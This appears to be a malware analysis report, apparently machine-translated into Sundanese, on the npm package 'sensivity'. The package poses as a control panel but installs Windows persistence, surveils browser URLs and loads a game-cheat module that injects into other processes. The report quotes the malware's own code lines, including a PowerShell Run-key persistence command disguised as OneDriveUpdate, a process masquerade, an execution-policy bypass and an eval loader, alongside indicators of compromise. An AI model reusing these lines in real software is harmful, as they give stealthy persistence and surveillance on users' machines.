TL; DR
Pakét npm sensitivitas ngagambarkeun dirina salaku "Panel Kontrol Sensitivitas." Dina Windows, éta fungsina salaku alat kontrol jarak jauh sareng panjagaan.
Titik asupna, launcher.js, ngaganti ngaran prosésna sorangan jadi Runtime Broker, nulis nilai Run-key otomatis nu dingaranan OneDriveUpdate anu ngaluncurkeun deui pakét ngalangkungan VBScript anu disumputkeun, ngaluncurkeun PowerShell kalayan -ExecutionPolicy Bypass, teras ngevaluasi payload server anu dikaburkan 171 KB sareng modul asli 6.87 MB, sens.node.
Éta ngalayanan panel kontrol pasangan telepon dina port TCP 3000 sareng maca URL bilah alamat browser anu aktip ngalangkungan Windows UIAutomation, ningali hiji pidéo YouTube anu dikodekeun sacara keras.
Dua bagian anu tadina dibaca kénca salaku kotak hideung ayeuna parantos direngsekeun. Server anu dikaburkan, server.obf.js, nganggo skéma string-array RC4 obfuscator.io; ngalaksanakeun deui dekoderna sacara offline (teu aya JavaScript anu dijalankeun) mulangkeun hiji titik tungtung éksternal — https://izopi.com/check.php — bareng jeung konci publik RSA anu dipasang anu dianggo pikeun verifikasi réspon lisénsi anu ditandatanganan.
Modul asli, sens.node, teu dipak: tabel impor sareng senar anu dipasangkeun ngaidéntifikasi éta salaku overlay dina kaulinan DirectX 11 / Dear ImGui anu nyayogikeun fitur aimbot, ESP (wall-hack), sareng triggerbot, didorong ku injeksi prosés jarak jauh sareng maca/nulis mémori.
String di jerona ngarujuk kana éntitas kandaraan sareng lokasi peta anu konsisten sareng GTA V / FiveM. Paket npm nyaéta bungkus pangiriman sareng persistensi di sabudeureun modul asli éta.
Sinyal anu nangtukeunana nyaéta operasional, sanés téknis: hiji penerbit anonim ngaluncurkeun sakitar tujuh puluh vérsi tina hiji pakét — 2.5.0 ngaliwatan 2.5.69 — salami sababaraha dinten, masing-masing mawa paluncur anu sami.
Teu aya pamasangan hooksPayload ngan ukur jalan nalika pakét dimimitian.
Serangan éta: Kumaha Cara Gawéna
sensivity ngirimkeun sapuluh file. Package.json-na jarang: teu aya kolom repositori, teu aya lisénsi, hiji alias utama sareng dua bin (sensivity, sens) sadayana nunjuk ka launcher.js, sareng skrip awal tina node launcher.js. Teu aya postinstall atanapi preinstall. Teu aya anu dijalankeun dina npm install. Paripolah anu dijelaskeun di handap ieu dijalankeun nalika pangguna ngamimitian pakét — ngalangkungan bin shim, skrip awal, atanapi require.
Tarball ieu ngandung launcher, server anu diobfuscate, modul asli, skrip Visual Basic, sareng diréktori publik/wéb pikeun panel kontrol. launcher.js nyaéta orchestrator anu tiasa dibaca; logika anu penting nalika runtime aya dina dua blob anu dimuatna — server anu diobfuscate sareng modul asli anu dikompilasi, duanana direngsekeun di handap.
Prosés masquerade sareng updater OneDrive palsu
Dina awal palaksanaan launcher.js netepkeun nami prosésna sorangan dua kali:
javascript process.title = 'Runtime Broker'; Runtime Broker nyaéta prosés Windows anu sah (RuntimeBroker.exe) anu ngatur idin aplikasi. Ngaganti ngaran prosés Node supados cocog sareng éta hartosna ningali sakedapan dina Task Manager teu nunjukkeun hal anu anéh.
Persistence ditulis ngaliwatan PowerShell tinimbang API pendaptaran langsung:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Nilai autostart dingaranan OneDriveUpdate, sareng éta henteu nunjuk langsung kana pakét. Éta nunjuk kana wscript.exe anu ngajalankeun OneDrive.Standalone.Updater.vbs anu dibundel. Skrip éta ngaluncurkeun deui node launcher.js dina jandela anu disumputkeun. Boh nami Run-key sareng nami file VBScript nginjeum branding Microsoft, janten entri autostart dibaca salaku tugas OneDrive rutin.
PowerShell kalayan bypass kawijakan palaksanaan
Launcher-na sababaraha kali ngirimkeun ka PowerShell. Bagian anu ditandaan ku scanner salaku hal anu penting nyaéta peluncuran .ps1 anu dihasilkeun kalayan kawijakan palaksanaan anu dinonaktipkeun:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass ngahapus cék penandatanganan skrip lokal pikeun panyauran éta. Skrip anu dihasilkeun nanganan padamelan pangawasan browser sareng deteksi jandela anu dijelaskeun dina bagian salajengna.
Server anu dikaburkan sareng modul asli
Saatos setelan, launcher.js ngamuat sareng ngaéksekusi payload aslina:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js nyaéta 171 KB tina obfuscation _0x-array — pola JavaScript dimana unggal string sareng identifier diganti ku indéks kana array anu diacak, teras di-de-referenced nalika runtime. Skéma ieu nyaéta varian RC4 anu dihasilkeun ku obfuscator.io: hiji fungsi decoder base64-decode entri array teras RC4-decrypt éta nganggo konci per-call. Ngalaksanakeun deui decoder éta dina skrip anu misah — ngan ukur ngajalankeun implementasi ulang dina array string 821-entry anu diekstrak, sanés JavaScript pakét sorangan — ngabongkar éta kalayan bersih. Naon permukaan anu sederhana tapi decisive: hiji URL éksternal, https://izopi.com/check.php`, ditugaskeun ka konstanta LICENSE_URL; RSA PUBLIC_KEY_PEM` anu dipasang; panel lokal ngarutekeun /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, sareng /trigger/status; sareng string child_process, crypto, sareng [Sensivity] sens.node anu dimuat — anu terakhir nyaéta baris log anu pas anu ditulis ulang ku launcher kana modul program anu dimuat. Titik tungtung nyaéta pamariksaan lisénsi: klien masangkeun identifier (server anu dikaburkan ngaformat ID Discord: string %s) sareng konci RSA verifikasi réspon server anu ditandatanganan.
sens.node nyaéta addon asli anu dikompilasi 6.87 MB, sareng éta henteu dipak — éntropi bagian aya dina 5.6–6.6 sareng tabel impor sareng ékspor PE masih utuh, janten kamampuanna tiasa dibaca langsung. Éta ngékspor napi_register_module_v1, standard Titik éntri Node N-API, janten server eval'd ngamuatna ku sarat polos. Tabel imporna nyaéta anu nangtukeunana. Tina KERNEL32 éta narik OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, sareng Process32First/NextW — set kanonik pikeun milarian prosés sanés, ngalokasikeun mémori di jerona, sareng maca atanapi nyerat mémori éta. Tina USER32 éta narik GetAsyncKeyState, GetKeyState, mouse_event, sareng SetCursorPos; éta ngaitkeun d3d11.dll, D3DCOMPILER_43, sareng dwmapi pikeun overlay dina layar, sareng set WINHTTP lengkep pikeun telepon jaringan. String anu dipasangkeunana méré ngaran kana sét fitur tanpa ambiguitas: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, sareng spanduk Dear ImGui Dear ImGui 1.91.3 WIP. String lokasi sareng éntitas sapertos Grapeseed Medical Clinic sareng kosakata vehicle-ESP saluyu sareng GTA V / FiveM.
Pamisahan ieu téh ngahaja: launcher.js anu tiasa dibaca ngan ukur mawa bagian-bagian anu gampang dibaca ku scanner — persistence, masquerade, eval call sorangan — sedengkeun obfuscation nyumputkeun hiji host éksternal nyaéta kontak runtime, sareng binér nahan logika game-overlay sareng process-injection. Peluncur nyaéta cangkang ipis anu tiasa diaudit; server anu obfuscated nyumputkeun idéntitas jaringan; modul asli nyaéta payload. Kami ngajelaskeun impor sareng string binér salaku anu dibaca; kami henteu nyimpulkeun tujuan operator tina éta.
Panel kontrol pasangan telepon dina port 3000
Peluncur ngatur server wéb lokal dina port TCP 3000 sareng nganggap éta salaku singleton. Éta ngarékoméndasi listener anu tos aya sareng ngahapusna sateuacan ngabeungkeut:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panelna tiasa dihontal di http://localhost:3000, kalayan URL fallback LAN anu dikodekeun sacara teuas nyaéta http://192.168.1.16:3000. Diréktori public/ sareng paripolah panel saluyu sareng aliran pasangan QR: telepon nyeken kode sareng ngabeungkeut kana host salaku remote. Teu aya domain paréntah-sareng-kontrol éksternal anu muncul dina téks anu jelas dina launcher — tapi, sapertos anu dipidangkeun ku deobfuscation di luhur, aya hiji anu aya dina server anu dikaburkan: titik tungtung lisénsi izopi.com. Panelna sorangan lokal sareng dicakup ku LAN; hiji-hijina host kaluar nyaéta pamariksaan lisénsi éta.
Modél supervisor/pagawé anu misah ngajaga prosés tetep hirup. Peluncuran éta ngahasilkeun deui dirina nganggo flag lingkungan SENSIVITY_SUPERVISOR sareng SENSIVITY_WORKER, unggal turunanna dijalankeun sacara disumputkeun, janten upami hiji prosés dipareuman, aya pengawas anu kedah ngamimitian deui prosés éta.
Pangawasan Browser sareng Sinyal YouTube
Paripolah anu paling spésifik nyaéta ngawaskeun browser. launcher.js ngawangun PowerShell anu ngajalankeun Windows UIAutomation pikeun maca bilah alamat browser anu nuju dijalankeun:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern mulangkeun eusi téks tina élémen UI. Diterapkeun kana kontrol édit bilah alamat browser, éta mulangkeun URL anu ayeuna keur ditingali ku korban — tanpa éksténsi browser, tanpa noel profil dina disk, sareng tanpa hook API. Skrip anu dihasilkeun ngulang daptar $browserNames sareng ngekstrak URL atanapi judul jandela tina browser mana waé anu aya di latar hareup.
URL éta diuji ngalawan hiji target anu dikodekeun sacara teuas:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Peluncur ngajukeun polling dina puteran tilu detik pikeun jandela browser anu nunjukkeun YouTube, sareng PowerShell anu dihasilkeun ngandung pasangan Get-YouTubeBrowser / Test-TargetYouTubeUrl anu cocog sareng ID pidéo éta. Éfék anu tiasa dititénan aya dua: URL browsing aktif dibaca tina layar korban, sareng interaksi host sareng hiji pidéo YouTube khusus dideteksi. Kami ngajelaskeun mékanisme sareng targetna; kami henteu nyimpulkeun motif tina éta.
Bacaan bilah alamat nyaéta anu dilabélan ku pamindai sensitive_data_enumeration — sumber Process::env sareng UIAutomation anu nyayogikeun runtime anu mumpuni pikeun jaringan. Éta katingalina henteu bahaya upami diisolasi sareng ngan ukur tiasa diawasi saatos siklus hirup data dilacak tina sumber UIAutomation ka server anu dikaburkan.
Garis Waktu sareng Évolusi Vérsi
sensitivitas sanés unggahan sakali. Akun penerbit gaduh sakitar tujuh puluh vérsi anu diterbitkeun tina pakét tunggal ieu, sareng anu énggal teras-terasan sumping salami jandela ulasan. Peluncur ieu ningkatkeun fitur demi fitur dina jajaran 2.5.x sedengkeun persistensi sareng muatan-muatanna tetep tetep.
| Tanggal (UTC) | Vérsi anu dititénan | Kaayaan paluncur |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Peluncur panel QR dasar; Persistensi tombol jalankeun; evaluasi server anu dikaburkan. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Sidik jari anu sami; panyabutan tapak konsol. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Nambahkeun target keterlibatan YouTube anu disematkeun wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Penerbitan ulang pangisian celah di sakumna jajaran; pengawas/pagawé. |
Maca launcher dina sadaya perwakilan anu diunduh — 2.5.0, 2.5.36, sareng 2.5.69 — nunjukkeun opat tingkatan. Wangunan anu pangheulana ngagaduhan launcher pasangan QR dasar. Ti 2.5.33, pangumpul bilah alamat UIAutomation muncul. Ti 2.5.58, lapisan manajemen supervisor ditambahkeun. Ti 2.5.64, pengawas supervisor/pagawe anu misah ngalengkepan set éta. Sapanjang, opat hal henteu pernah robih: konci OneDriveUpdate Run, dropper OneDrive.Standalone.Updater.vbs, server.obf.js eval'd, sareng modul asli sens.node.
Gelombang 2026-06-05 téh kasohor sabab medalkeun deui angka vérsi anu handap — 2.5.0 nepi ka 2.5.15 — anu aya di handap vérsi anu dikonfirmasi sababaraha poé samemehna. Éfékna nyaéta baris 2.5.x anu padeukeut dina pendaptaran, unggal vérsi mawa launcher anu sarua.
Indikator kompromi
Sadaya indikator di handap ieu dibaca langsung tina pakét tarball. Peluncur anu tiasa dibaca ngan ukur mawa loopback sareng hiji alamat LAN pribadi; hiji hostname éksternal, izopi.com, dipulihkeun ku cara ngahapus obfuscating server.obf.js offline.
| ngetik | indikator | Catetan |
|---|---|---|
| paket | npm:sensivity (≈70 vérsi, 2.5.0-2.5.69) | Penerbit pakét tunggal; teu aya gudang; teu dilisensikeun. |
| file | launcher.js | Orkestrator anu tiasa dibaca; target utama sareng bin. |
| file | server.obf.js (≈171 KB) | obfuscator.io Payload string-array RC4, dimuat via eval(fs.readFileSync(...)). |
| file | sens.node (≈6.87 MB) | Tambahan N-API Node PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| file | OneDrive.Standalone.Updater.vbs | Paluncur ulang anu disumputkeun (node launcher.js). |
| Network | https://izopi.com/check.php | Titik tungtung lisénsi/otorisasi parantos dipulihkeun tina server anu dikaburkan; konci publik RSA anu dipasangkeun ngaverifikasi réspon. |
| kamampuhan | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Kamampuh maca/nulis mémori sareng injeksi prosés jarak jauh. |
| kamampuhan | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Overlay kaulinan DirectX 11 / ImGui anu nerapkeun fitur aimbot, ESP, sareng triggerbot. |
| pendaptaran | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Nilai autostart nunjuk ka wscript.exe jeung paluncur VBScript. |
| proses | process.title = 'Runtime Broker' | Nyamar jadi prosés Windows Runtime Broker anu sah. |
| Paripolah | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Bypass kawijakan éksekusi dianggo pikeun skrip PowerShell anu dihasilkeun. |
| Paripolah | UIAutomation ValuePattern maca bilah alamat browser | Maca URL jandela browser latar hareup. |
| Paripolah | ID pidéo target wJWta2lO0Lw; Polling YouTube 3 detik | Sinyal pangawasan keterlibatan anu disematkeun. |
| Network | http://localhost:3000, dijengkang http://192.168.1.16:3000 | Panel kontrol pasangan QR némbongan sacara lokal sareng dina LAN. |
| lingkungan | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Bendera koordinasi prosés pengawas anu misah. |
Atribusi, Dampak, sareng Pambéla
Pakét ieu dipedalkeun ku hiji akun npm anu emailna disebutkeun mangrupa alamat Gmail anu teu acan diverifikasi. Akun ieu miboga skor reputasi pendaptaran anu négatif pisan, ngan ukur ngajaga sareng nyebarkeun hiji pakét ieu, sareng teu gaduh gudang sumber anu ditautan. Kami teu acan mastikeun kapamilikan email sareng kami ngaitkeun kampanye ka akun penerbit, sanés ka individu anu dingaranan. Peluncur ieu teu ngagaduhan infrastruktur téks anu jelas, tapi hiji host éksternal ayeuna dipikanyaho: server anu dikaburkan ngahubungi izopi.com pikeun pamariksaan lisénsi, sareng modul asli — dibaca tina tabel impor sareng stringna tinimbang instruksi-demi-instruksi anu dibalikkeun — nyaéta hamparan kaulinan anu nyuntikkeun kana sareng maca mémori prosés anu sanés.
Dampak anu katingali bakal katempo ku pangguna Windows anu masang sareng ngajalankeun sénsitivitas bari ngarepkeun utilitas panel kontrol. Dina host éta, pakét netepkeun persistensi autostart anu disamar salaku tugas OneDrive, ngarobih nami dirina pikeun niru prosés sistem, maca URL naon waé anu dijelajah ku pangguna, sareng ngadegkeun panel pasangan anu ngabeungkeut mesin ka jarak jauh ngalangkungan jaringan lokal. Pengawas supervisor/pagawé hartosna hiji prosés maéhan henteu ngahapusna; éntri Run-key salamet tina reboot. macOS sareng Linux henteu diincer ku launcher — jalur persistensi, PowerShell, sareng UIAutomation ngan ukur kanggo Windows.
Ngaleungitkeun versi tujuh puluh mangrupikeun tren anu pantes ditandaan. Ngapublikasikeun deui hiji pakét puluhan kali dina sababaraha dinten, kalebet ngeusian deui nomer versi di handap anu parantos dihapus, ngajaga salinan langsung dina pendaptaran antara panyabutan sareng ngaganggu daptar blok anu disematkeun dina versi. Éntri daptar blok pikeun sensivity@2.5.61 henteu ngalakukeun nanaon ngalawan sensivity@2.5.3 diterbitkeun deui énjingna.
Para pembela tiasa ngalakukeun tindakan ieu:
- Blokir sensitivitas nami pakét sacara langsung dina daptar anu diidinan ku registry-proxy sareng CI. Nyemat vérsi individu kaleungitan kadénsi publikasi ulang; nami mangrupikeun indikator anu awét.
- Pilari nilai Run anu dingaranan OneDriveUpdate anu datana nimbulkeun wscript.exe ngalawan .vbs dina jalur per-pangguna. Pembaruan OneDrive anu asli henteu kadaptar sapertos kieu.
- Bewara ngeunaan prosés Node.js anu process.title-na nyaéta Runtime Broker. Broker anu saleresna nyaéta RuntimeBroker.exe, sanés Node runtime.
- Tandakeun npm install-time fetches tina paket anu ngirimkeun addon .node anu dikompilasi ditambah eval(fs.readFileSync(…)) tina file .obf.js dulur. Pasangan éta — binér asli opaque anu dimuat di gigireun payload téks anu dikaburkan — nyaéta conto struktural di dieu, henteu gumantung kana string IOC naon waé.
- Anggap waé listener anu kaiket sacara lokal dina port 3000 anu dihasilkeun ku prosés Node anu teu kaduga salaku curiga dina titik tungtung Windows anu dikelola.
- Blokir atanapi béwara ngeunaan pamundut kaluar ka izopi.com ti host pamekar atanapi pangguna akhir; éta hiji-hijina titik tungtung éksternal pakét, anu dihontal di /check.php ti server anu dikaburkan.
- Pikeun addon .node anu dibundel, pariksa tabel imporna sateuacan percanten. Kombinasi OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread nyaéta injeksi prosés jarak jauh henteu paduli naon anu diklaim ku pakét; di dieu éta aya di gigireun overlay Direct3D sareng string aimbot/ESP/triggerbot.
Pikeun analisis statis pipelines, bentuk kayakinanana awét dina sakabéh churn vérsi: profil pamasangan non-jaringan, panugaskeun judul prosés ka nami prosés sistem anu dipikanyaho, panulisan Run-key via PowerShell, sareng evaluasi file anu dibaca tina disk. Teu aya anu gumantung kana domain, IP, atanapi nomer vérsi anu tiasa diputer ku publikasi ulang salajengna.
Rujukan
[npm: sensitivitas] – kaca pendaptaran pikeun baris vérsi pakét anu dibahas di dieu; tiasa dihapus.





